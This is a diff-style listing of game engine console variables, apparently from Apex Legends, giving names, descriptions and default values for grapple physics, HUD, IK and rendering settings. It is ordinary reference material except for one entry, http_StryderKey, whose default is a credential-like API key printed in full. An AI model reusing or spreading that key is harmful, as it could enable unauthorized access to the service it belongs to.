+grapple_pullDelay_titan + +Grapple delay between attachment and acceleration + +default: `"0.2"` +flags: `0x2002` +
+
+grapple_retractVel + +Return speed of grapple hook when it hasn't hit anything yet + +default: `"6000"` +flags: `0x2002` +
+
+grapple_rodeoVerticalImpulse + +Vertical impulse applied to the player when grappling off of a rodeo. + +default: `"750"` +flags: `0x2002` +
+
+grapple_shootVel + +Outward speed of grapple hook + +default: `"2000"` +flags: `0x2002` +
+
+grapple_speedRampMax_human + +Player will accelerate to this speed after grapple_speedRampTime has passed + +default: `"400"` +flags: `0x2002` +
+
+grapple_speedRampMax_titan + +Player will accelerate to this speed after grapple_speedRampTime has passed + +default: `"750"` +flags: `0x2002` +
+
+grapple_speedRampMin_human + +Player will accelerate to this speed while grappling; lerps to grapple_speedRampMax over grapple_speedRampTime + +default: `"50"` +flags: `0x2002` +
+
+grapple_speedRampMin_titan + +Player will accelerate to this speed while grappling; lerps to grapple_speedRampMax over grapple_speedRampTime + +default: `"400"` +flags: `0x2002` +
+
+grapple_speedRampTime_human + +Time from grapple_speedRampMin to grapple_speedRampMax + +default: `"1.5"` +flags: `0x2002` +
+
+grapple_speedRampTime_titan + +Time from grapple_speedRampMin to grapple_speedRampMax + +default: `"1.0"` +flags: `0x2002` +
+
+grapple_swingAngle + +Maximum angle from vertical that swinging will generate acceleration (it will tend to zero acceleration at this angle) + +default: `"45"` +flags: `0x2002` +
+
+grapple_swingPullAngle + +If the player is pushing forward within this angle of the pull direction, then switch out of swinging mode. + +default: `"0"` +flags: `0x2002` +
+
+grapple_swingPullSpeedLength + +When swinging, the grapple pull speed scale begins to scale back to 1.0 at lengths below this + +default: `"300.0"` +flags: `0x2002` +
+
+grapple_swingPullSpeedScale + +When swinging, the grapple pull speed is scaled by this much + +default: `"0.025"` +flags: `0x2002` +
+
+grapple_titanEmbarkDist + +Distance at which to begin embark when grappling to your own titan. + +default: `"250"` +flags: `0x2002` +
+
+grapple_windowCheckDist + +Check for window hints at this distance from grapple point + +default: `"150"` +flags: `0x2002` +
+
+gravity_grenade_decel + +Deceleration applied by gravity grenade to nearby objects + +default: `"20000"` +flags: `0x2002` +
+
+gravity_grenade_projectile_min_speed + +Gravity grenade never slows projectiles below this speed + +default: `"600"` +flags: `0x2002` +
+
+ground_debug + + + +default: `"0"` +flags: `0x2002` +
+
+ground_trace_hull_radius + +How wide of a sphere is the trace for getting a character's ground surface + +default: `"12.0f"` +flags: `0x2002` +
+
+grx_hasUnknownItems + + + +default: `"0"` +flags: `0x2002` +
+
+gtao_angle_bias + +angle in degree [0-90) + +default: `"0"` +flags: `0x2` +
+
+gtao_intensity + + + +default: `"2"` +flags: `0x2` +
+
+gtao_intensity_in_lobby + + + +default: `"3"` +flags: `0x2` +
+
+gtao_thickness_heuristic + +in range of [0,1) + +default: `"0.2"` +flags: `0x2` +
+
+hasAnyAssetsWithDiscardedStreamableData + + + +default: `"0"` +flags: `0x200` +
+
+hasMic + + + +default: `"0"` +flags: `0x200` +
+
+hasPartialInstall + + + +default: `"0"` +flags: `0x200` +
+
+hbao_angle_bias + +angle in degree [0-90) + +default: `"6"` +flags: `0x2` +
+
+hbao_intensity + + + +default: `"3"` +flags: `0x2` +
+
+hbao_stepsize_random + + + +default: `"0.5"` +flags: `0x2` +
+
+hbaobasic_tangent_bias + +angle in degree [0-90) + +default: `"25"` +flags: `0x2` +
+
+hidehud + + + +default: `"0"` +flags: `0x4000` +
+
+highlight_deferred_update + + + +default: `"1"` +flags: `0x2` +
+
+highlight_draw + +highlight_draw 0|1 + +default: `"1"` +flags: `0x2` +
+
+highlight_lazy_clear_buffers + +highlight_lazy_clear_buffers 0|1 + +default: `"0"` +flags: `0x2` +
+
+highlight_object_max_count + +highlight_object_max_count OBJECT_MAX_COUNT + +default: `"255"` +flags: `0x2` +
+
+hitbox_bodygroup_check + + + +default: `"0"` +flags: `0x2` +
+
+hitch_alert_active + + + +default: `"1"` +flags: `0x2` +
+
+hitch_alert_color + +The hitch/choke allerts will use this color. + +default: `"255 255 0 255"` +flags: `0x2` +
+
+hitch_alert_show_large_snapshots + + + +default: `"0"` +flags: `0x2` +
+
+host_RunFrameServerAlways + + + +default: `"0"` +flags: `0x2` +
+
+host_ShowIPCCallCount + +Print # of IPC calls this number of times per second. If set to -1, the # of IPC calls is shown every frame. + +default: `"0"` +flags: `0x2` +
+
+host_flush_threshold + +Memory threshold below which the host should flush caches between server instances + +default: `"12"` +flags: `0x80000` +
+
+host_forceTakeHomeBuild + + + +default: `"0"` +flags: `0x2` +
+
+host_framerate + +Set to lock per-frame time elapse. + +default: `"0"` +flags: `0x2` +
+
+host_hasIrreversibleShutdown + + + +default: `"1"` +flags: `0x2` +
+
+host_limitlocal + +Apply cl_cmdrate and cl_updaterate to loopback connection + +default: `"0"` +flags: `0x2` +
+
+host_map + +Current map name. + +default: `""` +flags: `0x80000` +
+
+host_print_frame_times + + + +default: `"0"` +flags: `0x2` +
+
+host_profile + + + +default: `"0"` +flags: `0x2` +
+
+host_runframe_input_parcelremainder + + + +default: `"1"` +flags: `0x2` +
+
+host_server_thread_min_ticks + +Only run the server thread when it needs this many ticks. + +default: `"1"` +flags: `0x2` +
+
+host_sleep + +Force the host to sleep a certain number of milliseconds each frame. + +default: `"0"` +flags: `0x4000` +
+
+host_speeds + +Show general system running times. + +default: `"0"` +flags: `0x2` +
+
+host_syncfps + +Synchronize real render time to host_framerate if possible. + +default: `"0"` +flags: `0x2` +
+
+host_thread_join_fast + +If true we force the server thread join before existing '_Host_RunFrame' + +default: `"0"` +flags: `0x2` +
+
+host_thread_mode + +Run the host in threaded mode, (0 == off, 1 == if multicore, 2 == force) + +default: `"1"` +flags: `0x40000002` +
+
+host_threaded_sound + +Run the sound on a thread (independent of mix) + +default: `"0"` +flags: `0x2` +
+
+host_timescale + +Prescale the clock by this amount. + +default: `"1.0"` +flags: `0x6000` +
+
+hostname + +Hostname for server. + +default: `""` +flags: `0x80000` +
+
+hover_vehicle_passenger_left_attachment_name + + + +default: `"passenger1"` +flags: `0x2002` +
+
+http_StryderKey + + + +default: `"LABj38NWSTxHUhdYaP62ZU6HtutCas3L"` +flags: `0x12` +
+
+http_debug + + + +default: `"0"` +flags: `0x2` +
+
+http_debug_forceFailRate + + + +default: `"0"` +flags: `0x2` +
+
+http_debug_forceFailStatus + + + +default: `"429"` +flags: `0x2` +
+
+http_expoBackoff_Enabled + +Enable exponential backoff for HTTP calls + +default: `"1"` +flags: `0x2` +
+
+http_failuresAsErrors + + + +default: `"0"` +flags: `0x2` +
+
+http_maxAllocateAttempts + + + +default: `"10"` +flags: `0x2` +
+
+http_recv_fail_realloc + + + +default: `"0"` +flags: `0x2` +
+
+http_sandbox + + + +default: `"EARW.50"` +flags: `0x2` +
+
+http_showQueries + + + +default: `"0"` +flags: `0x2` +
+
+hud_autoreloadscript + +Automatically reloads the animation script each time one is ran + +default: `"0"` +flags: `0x2` +
+
+hud_setting_accessibleChat + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_adsDof + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_anonymousMode + + + +default: `"0"` +flags: `0x1000200` +
+
+hud_setting_compactOverHeadNames + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_damageIndicatorStyle + + + +default: `"2"` +flags: `0x1000000` +
+
+hud_setting_damageTextStyle + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_enableModWheel + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_healthUseOnHold + +use health by holding button + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_healthWheelToggle + +toggle health wheel on press + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_healthWheelUseOnRelease + +use health after selecting it + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_lootPromptStyle + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_minimapRotate + + + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_ordnanceUseOnHold + +use ordnance by holding button + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_ordnanceWheelToggle + +toggle ordnance wheel on press + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_ordnanceWheelUseOnRelease + +use ordnance after selecting it + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_pingAlpha + + + +default: `"1.0"` +flags: `0x1000000` +
+
+hud_setting_pingDoubleTapEnemy + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_pingWheelToggle + +toggle ping wheel on press + +default: `"0"` +flags: `0x1000000` +
+
+hud_setting_showButtonHints + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showCallsigns + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showHopUpPopUp + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showLevelUp + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showMedals + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showMeter + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showObituary + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showTips + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_showWeaponFlyouts + + + +default: `"1"` +flags: `0x1000000` +
+
+hud_setting_streamerMode + + + +default: `"0"` +flags: `0x1000000` +
+
+hudchat_new_message_fade_duration + +How long messages added to the text chat will take to fade from opaque to not visible + +default: `"1.0"` +flags: `0x2` +
+
+hudchat_new_message_shown_duration + +How long messages added to the text chat stick around with the panel not focused + +default: `"12"` +flags: `0x2` +
+
+hudchat_play_text_to_speech + + + +default: `"0"` +flags: `0x1000000` +
+
+hudchat_transition_message_mode_fade_duration + +When switching message mode of the text chat panel how long it takes to transition visibility + +default: `"0.25"` +flags: `0x2` +
+
+hudchat_visibility + + + +default: `"1"` +flags: `0x1000000` +
+
+hudwarp_chopsize + +Number of pixels to a primitive before chopping for warping. + +default: `"60.0"` +flags: `0x4000` +
+
+hudwarp_override + +Use convar settings for hud warp (instead of script-provided settings) + +default: `"0"` +flags: `0x4000` +
+
+hudwarp_viewDist + +Distance back from sphere center to use when 2d projecting. + +default: `"1.0"` +flags: `0x4000` +
+
+hudwarp_xScale + +Final scale for X (after projecting sphere surface to 2d.) + +default: `"1.2"` +flags: `0x4000` +
+
+hudwarp_xWarp + +Degrees of arc of sphere to use (0-90, low distortion to high.) + +default: `"45.0"` +flags: `0x4000` +
+
+hudwarp_yScale + +Final scale for Y (after projecting sphere surface to 2d.) + +default: `"1.1"` +flags: `0x4000` +
+
+hudwarp_yWarp + +Degrees of arc for Y warp (0-90, low distortion to high.) + +default: `"30.0"` +flags: `0x4000` +
+
+idcolor_ally + + + +default: `"0.34 0.59 0.86 3"` +flags: `0x2` +
+
+idcolor_ally_cb1 + + + +default: `"0.24 0.50 0.96 3"` +flags: `0x2` +
+
+idcolor_ally_cb2 + + + +default: `"0.0 0.58 0.77 3"` +flags: `0x2` +
+
+idcolor_ally_cb3 + + + +default: `"0.28 0.52 0.97 3"` +flags: `0x2` +
+
+idcolor_enemy + + + +default: `"0.8 0.25 0.15 3"` +flags: `0x2` +
+
+idcolor_enemy_cb1 + + + +default: `"0.89 0.78 0.0 3"` +flags: `0x2` +
+
+idcolor_enemy_cb2 + + + +default: `"1.0 0.627 0.68 3"` +flags: `0x2` +
+
+idcolor_enemy_cb3 + + + +default: `"0.82 0.74 0.06 3"` +flags: `0x2` +
+
+idcolor_neutral + + + +default: `"1.0 1.0 1.0 0.6"` +flags: `0x2` +
+
+ignore_fatal_errors + +Don't exit on fatal errors. + +default: `"0"` +flags: `0x2` +
+
+ignore_script_errors + +Ignore script errors. + +default: `"0"` +flags: `0x2` +
+
+ik_debug + +Enables debug lines for IK + +default: `"0"` +flags: `0x2002` +
+
+ik_debug_chain + +Allows specifying a single IK chain name for IK debugging + +default: `""` +flags: `0x2002` +
+
+ik_debug_ent + +Allows specifying a single entity for IK debugging + +default: `""` +flags: `0x2002` +
+
+ik_debug_text + +Enables IK debug text; requires ik_debug + +default: `"0"` +flags: `0x2002` +
+
+ik_enable + +Enables IK + +default: `"1"` +flags: `0x2002` +
+
+ik_enable_client + +Enables IK on the client + +default: `"1"` +flags: `0x2002` +
+
+ik_height_adjust + +Enable ik height adjustment + +default: `"1"` +flags: `0x2002` +
+
+ik_height_adjust_debug + +Debugging for ik height adjustment + +default: `"0"` +flags: `0x2002` +
+
+ik_height_adjust_move_speed + +IK height adjustment speed per unit of horizontal velocity in units per second + +default: `"2.0"` +flags: `0x2002` +
+
+ik_height_adjust_sine + +Test ik height adjustment with a sine wave + +default: `"0"` +flags: `0x2002` +
+
+ik_height_adjust_speed + +IK height adjustment speed as a fraction of step size per second + +default: `"2.0"` +flags: `0x2002` +
+
+ik_latch + +Enables IK latching to ground during footsteps + +default: `"1"` +flags: `0x2002` +
+
+ik_normal_lerp_rate + +Rate at which feet adjust to a new ground orientation in angles per second + +default: `"100"` +flags: `0x2002` +
+
+ik_unlatch_max_rate + +Maximum rate an IK'd bone can unlatch; prevents pop on animation transition + +default: `"5"` +flags: `0x2002` +
+
+ime_enabled + +Enabled the IME + +default: `"1"` +flags: `0x2` +
+
+imgui_buildmode + +Show the imgui implementation of the Build Mode dialog + +default: `"0"` +flags: `0x2` +
+
+imgui_buildmode + +Show the imgui implementation of the Build Mode dialog + +default: `"0"` +flags: `0x2` +
+
+impact_allow + + + +default: `"1"` +flags: `0x2` +
+
+impact_debug_info + + + +default: `"0"` +flags: `0x2` +
+
+impact_victim_offset_dist + +Distance to offset impact sounds from the victim, when requested + +default: `"256"` +flags: `0x2` +
+
+impulse_low_decel_duration_scalar + +Impulse magnitude is multiplied by this to give a length of time that the player can't decelerate + +default: `"0.003"` +flags: `0x2002` +
+
+inPartyChat + + + +default: `"0"` +flags: `0x200` +
+
+in_forceuser + +Force user input to this split screen player. + +default: `"0"` +flags: `0x4000` +
+
+in_syncRT + + + +default: `"0"` +flags: `0x2` +
+
+in_usekeyboardsampletime + +Use keyboard sample time smoothing. + +default: `"1"` +flags: `0x2` +
+
+inbox_enabled + + + +default: `"0"` +flags: `0x2` +
+
+infoblock_requestInterval + +Time between info block requests + +default: `"300"` +flags: `0x2` +
+
+input_did_turn_threshold + +Degrees per second. + +default: `"1.0f"` +flags: `0x2` +
+
+intro_viewed + +Whether the introduction video has been viewed by this player + +default: `"0"` +flags: `0x1000000` +
+
+ip + +Overrides IP for multihomed hosts + +default: `"localhost"` +flags: `0x80000` +
+
+joy_advaxisr + + + +default: `"2"` +flags: `0x2` +
+
+joy_advaxisu + + + +default: `"4"` +flags: `0x2` +
+
+joy_advaxisv + + + +default: `"6"` +flags: `0x2` +
+
+joy_advaxisx + + + +default: `"3"` +flags: `0x2` +
+
+joy_advaxisy + + + +default: `"1"` +flags: `0x2` +
+
+joy_advaxisz + + + +default: `"5"` +flags: `0x2` +
+
+joy_inverty + +Whether to invert the Y axis of the joystick for looking. + +default: `"0"` +flags: `0x1000000` +
+
+joy_legacy + +Turn on/off 'Legacy' mapping for control sticks. + +default: `"0"` +flags: `0x40000000` +
+
+joy_movement_stick + +Which stick controls movement (0 is left stick) + +default: `"0"` +flags: `0x40000000` +
+
+joy_requireFocus + + + +default: `"1"` +flags: `0x2` +
+
+joy_rumble + +Controller rumble. + +default: `"1"` +flags: `0x1000000` +
+
+joy_xcontroller_cfg_loaded + +If 0, the 360controller.cfg file will be executed on startup & option changes. + +default: `"0"` +flags: `0x2` +
+
+jpeg_quality + +jpeg screenshot quality. + +default: `"90"` +flags: `0x2` +
+
+jt_help_with_anything_ignore_preference + +This let's JT_HelpWithAnything() work on tasks that are not preferred. + +default: `"0"` +flags: `0x2` +
+
+jump_graceperiod + +Extra time during which a player can jump after falling off a ledge + +default: `"0.2"` +flags: `0x2002` +
+
+jump_keyboardgrace_max + +Amount of velocity change allowed during jump_keyboardgraceperiod, as a fraction of sprinting speed + +default: `"0.7"` +flags: `0x2002` +
+
+jump_keyboardgrace_strength + +Fraction of change toward the new direction when pressing a direction during jump_keyboardgraceperiod + +default: `"0.7"` +flags: `0x2002` +
+
+jump_keyboardgraceperiodmax + +Extra time during which a player can change their direction with keyboard input after jumping (fades to 0 strength at this time) + +default: `"0.5"` +flags: `0x2002` +
+
+jump_keyboardgraceperiodmin + +Extra time during which a player can change their direction with keyboard input after jumping (at full strength) + +default: `"0.2"` +flags: `0x2002` +
+
+killReplay_lagCompensate + +Adjust player timing to try to match what the client saw rather than what the server saw. + +default: `"1"` +flags: `0x2` +
+
+killReplay_playNonReplayRemoteCallsOnLocalClientPlayer + + + +default: `"1"` +flags: `0x2` +
+
+leaf_threadedRecompute + + + +default: `"1"` +flags: `0x2` +
+
+leaf_threadedRecompute_batchSize + + + +default: `"12"` +flags: `0x2` +
+
+leech_npc_angle_cos + +Cos(angle) allowed for leeching npcs + +default: `"-1"` +flags: `0x2002` +
+
+lerp_careAboutAttachmentBonePosition + + + +default: `"0"` +flags: `0x2` +
+
+lerp_debugEnt + + + +default: `"-2"` +flags: `0x2002` +
+
+lerp_opt + + + +default: `"1"` +flags: `0x2` +
+
+lerp_threaded + + + +default: `"1"` +flags: `0x2` +
+
+lerp_threaded_numEntsPerTask + + + +default: `"6"` +flags: `0x2` +
+
+light_maxcone + +Max light cone limit. Cone limit is half angle in degrees. + +default: `"85"` +flags: `0x2` +
+
+lightmap_realtimelight + +If true use the real-time light lightmap for selecting real-time lights. + +default: `"1"` +flags: `0x2` +
+
+lightmap_realtimeshadows + + + +default: `"1"` +flags: `0x2` +
+
+load_during_video + + + +default: `"1"` +flags: `0x2` +
+
+loaderrorsCount + + + +default: `"0"` +flags: `0x2` +
+
+loaderrorsNeedShown + + + +default: `"0"` +flags: `0x2` +
+
+localClientPlayerCachedLevel + + + +default: `"1"` +flags: `0x1000010` +
+
+locationInfo + +What OS(on PC and Durango) or PSN account(on PS4) reports as the user's location + +default: `""` +flags: `0x210` +
+
+locationInfo_nucleus + +What origin(on PC) or nucleus(on console) reports as the user's location + +default: `""` +flags: `0x210` +
+
+locator_background_border_color + +The default color for the border. + +default: `"255 255 255 15"` +flags: `0x2` +
+
+locator_background_border_thickness + +How many pixels the background borders the left and right. + +default: `"3"` +flags: `0x2` +
+
+locator_background_color + +The default color for the background. + +default: `"255 255 255 5"` +flags: `0x2` +
+
+locator_background_shift_x + +How many pixels the background is shifted right. + +default: `"3"` +flags: `0x2` +
+
+locator_background_shift_y + +How many pixels the background is shifted down. + +default: `"1"` +flags: `0x2` +
+
+locator_background_style + +Setting this to 1 will show rectangle backgrounds behind the items word-bubble pointers. + +default: `"0"` +flags: `0x2` +
+
+locator_background_thickness_x + +How many pixels the background borders the left and right. + +default: `"8"` +flags: `0x2` +
+
+locator_background_thickness_y + +How many pixels the background borders the top and bottom. + +default: `"0"` +flags: `0x2` +
+
+locator_fade_time + +Number of seconds it takes for a lesson to fully fade in/out. + +default: `"0.3"` +flags: `0x2` +
+
+locator_icon_max_size_non_ss + +Minimum scale of the icon on the screen + +default: `"2"` +flags: `0x2` +
+
+locator_icon_min_size_non_ss + +Minimum scale of the icon on the screen + +default: `"1.0"` +flags: `0x2` +
+
+locator_lerp_rest + +Number of seconds before moving from the center. + +default: `"2.25f"` +flags: `0x2` +
+
+locator_lerp_speed + +Speed that static lessons move along the Y axis. + +default: `"5.0f"` +flags: `0x2` +
+
+locator_lerp_time + +Number of seconds to lerp before reaching final destination + +default: `"1.75f"` +flags: `0x2` +
+
+locator_pulse_time + +Number of seconds to pulse after changing icon or position + +default: `"1.0f"` +flags: `0x2` +
+
+locator_split_len + + + +default: `"0.5f"` +flags: `0x4000` +
+
+locator_split_maxwide_percent + + + +default: `"0.80f"` +flags: `0x4000` +
+
+locator_start_at_crosshair + +Start position at the crosshair instead of the top middle of the screen. + +default: `"0"` +flags: `0x2` +
+
+locator_target_offset_x + +How many pixels to offset the locator from the target position. + +default: `"0"` +flags: `0x2` +
+
+locator_target_offset_y + +How many pixels to offset the locator from the target position. + +default: `"0"` +flags: `0x2` +
+
+locator_topdown_style + +Topdown games set this to handle distance and offscreen location differently. + +default: `"0"` +flags: `0x2` +
+
+lookspring + + + +default: `"0"` +flags: `0x80` +
+
+lookstrafe + + + +default: `"0"` +flags: `0x80` +
+
+m_acceleration + +Mouse acceleration. + +default: `"0"` +flags: `0x80` +
+
+m_forward + +Mouse forward factor. + +default: `"1.0"` +flags: `0x2` +
+
+m_invert_pitch + +Whether to invert the pitch axis of the mouse. + +default: `"0"` +flags: `0x1000000` +
+
+m_side + +Mouse side factor. + +default: `"1.0"` +flags: `0x2` +
+
+mainmenu_background_movie + + + +default: `"media/frontend.bik"` +flags: `0x2` +
+
+map_settings_override + +If this is enabled then the following ConVars will be functional and override the maps current value: fog_enable, mat_bloomscale + +default: `"0"` +flags: `0x40004002` +
+
+mat_autoexposure_compensation + +This works like exposure compensation on a camera, in EV units. 0EV is no compensation, -1EV gives half the light, +2EV gives 4x the light, etc. The exposure range is still subject to the min/max, so you might want to use mat_autoexposure_uncap 1. + +default: `"0"` +flags: `0x2` +
+
+mat_autoexposure_force_value + + + +default: `"0.0"` +flags: `0x40004000` +
+
+mat_autoexposure_max + + + +default: `"3"` +flags: `0x2` +
+
+mat_autoexposure_max_multiplier + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_autoexposure_min + + + +default: `"0.5"` +flags: `0x2` +
+
+mat_autoexposure_min_multiplier + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_autoexposure_speed + +Changes the speed at which exposure adapts to changes in scene luminance. + +default: `"0.1"` +flags: `0x2` +
+
+mat_autoexposure_uncap + +mat_autoexposure_min and mat_autoexposure_max are ignored when this is set. + +default: `"0"` +flags: `0x2` +
+
+mat_bloom_cutoff + + + +default: `"2.0"` +flags: `0x2` +
+
+mat_bloom_max_lighting_value + + + +default: `"5.0"` +flags: `0x4000` +
+
+mat_bloom_scalefactor_scalar + + + +default: `"0.1"` +flags: `0x80000` +
+
+mat_bloom_streak_amount + + + +default: `"0.0"` +flags: `0x2` +
+
+mat_bloom_streak_cutoff + + + +default: `"5.0f"` +flags: `0x2` +
+
+mat_bloom_streak_cutoff_exposure_adapt + +Whether streak cutoff value should scale with exposure values. R2 behavior is 0.0, R5 behavior is 1.0 + +default: `"0.0"` +flags: `0x2` +
+
+mat_bloom_streak_exponent_post + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_bloom_streak_exponent_pre + + + +default: `"1.0f"` +flags: `0x2` +
+
+mat_bloom_wide_amount + + + +default: `"1.5"` +flags: `0x2` +
+
+mat_bloom_wide_exponent_pre + + + +default: `"1.5f"` +flags: `0x2` +
+
+mat_bloomamount_rate + + + +default: `"0.05f"` +flags: `0x4000` +
+
+mat_bloomscale + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"1"` +flags: `0x2` +
+
+mat_checkStalls + +If true, flushes then syncs the render thread to the GPU at various spots of code to find hidden GPU stalls. + +default: `"0"` +flags: `0x4000` +
+
+mat_cloudmask + + + +default: `"1"` +flags: `0x2` +
+
+mat_colcorrection_disableentities + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_disableentities + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_disableentities + +Disable map color-correction entities + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_editor + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_editor + + + +default: `"0"` +flags: `0x2` +
+
+mat_colcorrection_forceentitiesclientside + +Forces color correction entities to be updated on the client + +default: `"0"` +flags: `0x4000` +
+
+mat_colorcorrection + + + +default: `"1"` +flags: `0x4002` +
+
+mat_debug_postprocess_allowed + +Allow postprocessing when debug views are enabled. + +default: `"0"` +flags: `0x2` +
+
+mat_debug_postprocessing_effects + +0 = off, 1 = show post-processing in top left corner of screen + +default: `"0"` +flags: `0x2` +
+
+mat_debug_tonemapping + + + +default: `"4"` +flags: `0x2` +
+
+mat_debug_tonemapping_disable + + + +default: `"0"` +flags: `0x2` +
+
+mat_debug_tonemapping_mid1 + + + +default: `"10.0"` +flags: `0x2` +
+
+mat_debug_tonemapping_mid2 + + + +default: `"1.5"` +flags: `0x2` +
+
+mat_debug_tonemapping_shoulder + + + +default: `"0.5"` +flags: `0x2` +
+
+mat_debug_tonemapping_toe + + + +default: `"0.3"` +flags: `0x2` +
+
+mat_debugalttab + + + +default: `"0"` +flags: `0x4000` +
+
+mat_depthbias_decal + +use integer value + +default: `"-16"` +flags: `0x4002` +
+
+mat_depthbias_normal + +use integer value + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbias_shadowmap + +use integer value + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbias_tightshadowmap + +use integer value. effective on View model selfshadow + +default: `"10000"` +flags: `0x4002` +
+
+mat_depthbias_ui + +use integer value + +default: `"-50"` +flags: `0x4002` +
+
+mat_depthbias_zfill + +use integer value + +default: `"16"` +flags: `0x4002` +
+
+mat_depthbiasclamp_decal + + + +default: `"-0.001"` +flags: `0x4002` +
+
+mat_depthbiasclamp_normal + + + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbiasclamp_shadowmap + + + +default: `"0"` +flags: `0x4002` +
+
+mat_depthbiasclamp_ui + + + +default: `"-0.001"` +flags: `0x4002` +
+
+mat_depthbiasclamp_zfill + + + +default: `"0"` +flags: `0x4002` +
+
+mat_depthtest_force_disabled + +only works on PC and XB1 for now + +default: `"0"` +flags: `0x4002` +
+
+mat_detail_tex + + + +default: `"1"` +flags: `0x2` +
+
+mat_diffuse + + + +default: `"1"` +flags: `0x2` +
+
+mat_disable_bloom + + + +default: `"0"` +flags: `0x40000002` +
+
+mat_disable_lightmap_ambient + + + +default: `"0"` +flags: `0x4000` +
+
+mat_disable_lightmaps + + + +default: `"0"` +flags: `0x4000` +
+
+mat_disable_model_ambient + + + +default: `"0"` +flags: `0x4000` +
+
+mat_drawMenuGrid + +Enable menu grid guide overlay. Only accurate for 16:9 aspect ratio. + +default: `"0"` +flags: `0x2` +
+
+mat_drawTitleSafe + +Enable title safe overlay + +default: `"0"` +flags: `0x2` +
+
+mat_drawflat + + + +default: `"0"` +flags: `0x4000` +
+
+mat_dxlevel + + + +default: `"0"` +flags: `0x2` +
+
+mat_dynamic_tonemapping + + + +default: `"1"` +flags: `0x4000` +
+
+mat_dynamic_tonemapping + + + +default: `"1"` +flags: `0x4000` +
+
+mat_enable_ssr + +NOTE - UNABLE TO ENABLE - Toggle Screen Space Reflections. +If you want to use SSR again, uncomment the line with (1u << MTLENVOPT_SSR) in shader.cpp of bakery and then rebuild shaders. + +default: `"0"` +flags: `0x2` +max value: `1` +
+
+mat_envmap_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+mat_envmaptgasize + +Final envmap size for "envmap" console command; should be <= 128. + +default: `"CUBEMAP_SCREENSHOT_RES"` +flags: `0x2` +
+
+mat_fastnobump + + + +default: `"0"` +flags: `0x4000` +
+
+mat_fastspecular + +Enable/Disable specularity for visual testing. Will not reload materials and will not affect perf. + +default: `"1"` +flags: `0x2` +
+
+mat_filterlightmaps + + + +default: `"1"` +flags: `0x2` +
+
+mat_filtertextures + + + +default: `"1"` +flags: `0x2` +
+
+mat_force_bloom + + + +default: `"0"` +flags: `0x4000` +
+
+mat_forceaniso + + + +default: `"2"` +flags: `0x40000000` +min value: `0` +max value: `16` +
+
+mat_frame_color_bias + +Add a constant value to the average frame color. + +default: `"0.0"` +flags: `0x2` +
+
+mat_frame_color_enabled + +Update the average frame color each frame. + +default: `"1"` +flags: `0x2` +
+
+mat_frame_color_scale + +Scale the average frame color. + +default: `"5.0"` +flags: `0x2` +
+
+mat_frame_color_spot_metering_screen_ratio + +Use a percentage of the screen around the center to compute the average frame color. + +default: `"0.8"` +flags: `0x2` +
+
+mat_fullbright + + + +default: `"0"` +flags: `0x4000` +
+
+mat_fxaa_enable + + + +default: `"0"` +flags: `0x2` +
+
+mat_global_lighting + + + +default: `"0"` +flags: `0x2` +
+
+mat_global_lighting + + + +default: `"0"` +flags: `0x2` +
+
+mat_global_lighting + + + +default: `"0"` +flags: `0x2` +
+
+mat_hdr_level + +Set to 0 for no HDR, 1 for LDR+bloom on HDR maps, and 2 for full HDR on HDR maps. + +default: `"2"` +flags: `0x2` +
+
+mat_hdrcolcorrection_editor + + + +default: `"0"` +flags: `0x2` +
+
+mat_hdrcolorcorrection + + + +default: `"1"` +flags: `0x2` +
+
+mat_hide_sun_in_last_cascade + + + +default: `"0"` +flags: `0x2` +
+
+mat_instancing + + + +default: `"1"` +flags: `0x2` +
+
+mat_letterbox_aspect_goal + +Letterbox when the window aspect ratio is below this threshold + +default: `"1.6"` +flags: `0x2` +
+
+mat_letterbox_aspect_threshold + +Letterbox when the window aspect ratio is below this threshold + +default: `"1.59"` +flags: `0x2` +
+
+mat_lightcull_subview + + + +default: `"0"` +flags: `0x2` +
+
+mat_lightcull_subviews + +Re-cull lighting for subviews (monitors etc.) + +default: `"0"` +flags: `0x4000` +
+
+mat_local_contrast_edge_scale_override + + + +default: `"-1000.0"` +flags: `0x2` +
+
+mat_local_contrast_midtone_mask_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_local_contrast_scale_override + + + +default: `"0.0"` +flags: `0x2` +
+
+mat_local_contrast_vignette_end_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_local_contrast_vignette_start_override + + + +default: `"-1.0"` +flags: `0x2` +
+
+mat_materialmip_character_0 + + + +default: `"0 0 0 0"` +flags: `0x2` +
+
+mat_materialmip_character_1 + + + +default: `"0 0 1 1"` +flags: `0x2` +
+
+mat_materialmip_character_2 + + + +default: `"1 0 1 1"` +flags: `0x2` +
+
